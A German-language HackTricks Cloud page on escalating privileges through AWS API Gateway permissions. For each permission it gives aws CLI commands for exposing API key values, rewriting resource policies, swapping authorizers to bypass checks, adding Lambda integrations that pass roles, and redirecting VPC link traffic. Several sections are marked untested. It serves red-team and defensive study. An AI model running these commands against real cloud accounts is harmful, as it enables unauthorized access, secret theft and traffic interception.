AWS - Apigateway Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Apigateway
Für weitere Informationen siehe:
apigateway:POST
Mit dieser Berechtigung können Sie API-Schlüssel für die konfigurierten APIs (pro Region) erzeugen.
aws --region <region> apigateway create-api-key
Potentielle Auswirkung: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugang zu sensiblen Informationen erhalten.
apigateway:GET
Mit dieser Berechtigung kannst du die generierten API-Schlüssel der konfigurierten APIs abrufen (pro Region).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugriff auf sensible Informationen erhalten.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Mit diesen Berechtigungen ist es möglich, die Resource Policy einer API zu ändern, um sich selbst die Berechtigung zu geben, sie aufzurufen, und potenziell Zugriff zu missbrauchen, den das API gateway haben könnte (z. B. das Aufrufen einer verwundbaren lambda).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: Du wirst normalerweise nicht direkt per privesc eskalieren können, aber du könntest Zugriff auf sensible Informationen erhalten.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
note
Muss getestet werden
Ein Angreifer mit den Berechtigungen apigateway:PutIntegration, apigateway:CreateDeployment und iam:PassRole kann eine neue Integration zu einer bestehenden API Gateway REST API hinzufügen, die eine Lambda-Funktion mit einer angehängten IAM role verwendet. Der Angreifer kann dann die Lambda-Funktion auslösen, sodass sie beliebigen Code ausführt und möglicherweise Zugriff auf die Ressourcen erhält, die mit der IAM role verknüpft sind.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Zugriff auf Ressourcen, die mit der Lambda function's IAM role verbunden sind.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
note
Muss getestet werden
Ein Angreifer mit den Berechtigungen apigateway:UpdateAuthorizer und apigateway:CreateDeployment kann einen vorhandenen API Gateway authorizer ändern, um Sicherheitsprüfungen zu umgehen oder beim Aufruf von API-Anfragen beliebigen Code auszuführen.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potentieller Einfluss: Umgehung von Sicherheitsprüfungen, unautorisierter Zugriff auf API-Ressourcen.
apigateway:UpdateVpcLink
note
Noch zu testen
Ein Angreifer mit der Berechtigung apigateway:UpdateVpcLink kann einen vorhandenen VPC Link so ändern, dass er auf einen anderen Network Load Balancer zeigt und damit privaten API-Verkehr möglicherweise zu unautorisierten oder bösartigen Ressourcen umleitet.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Mögliche Auswirkungen: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Unterbrechung des API-Verkehrs.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud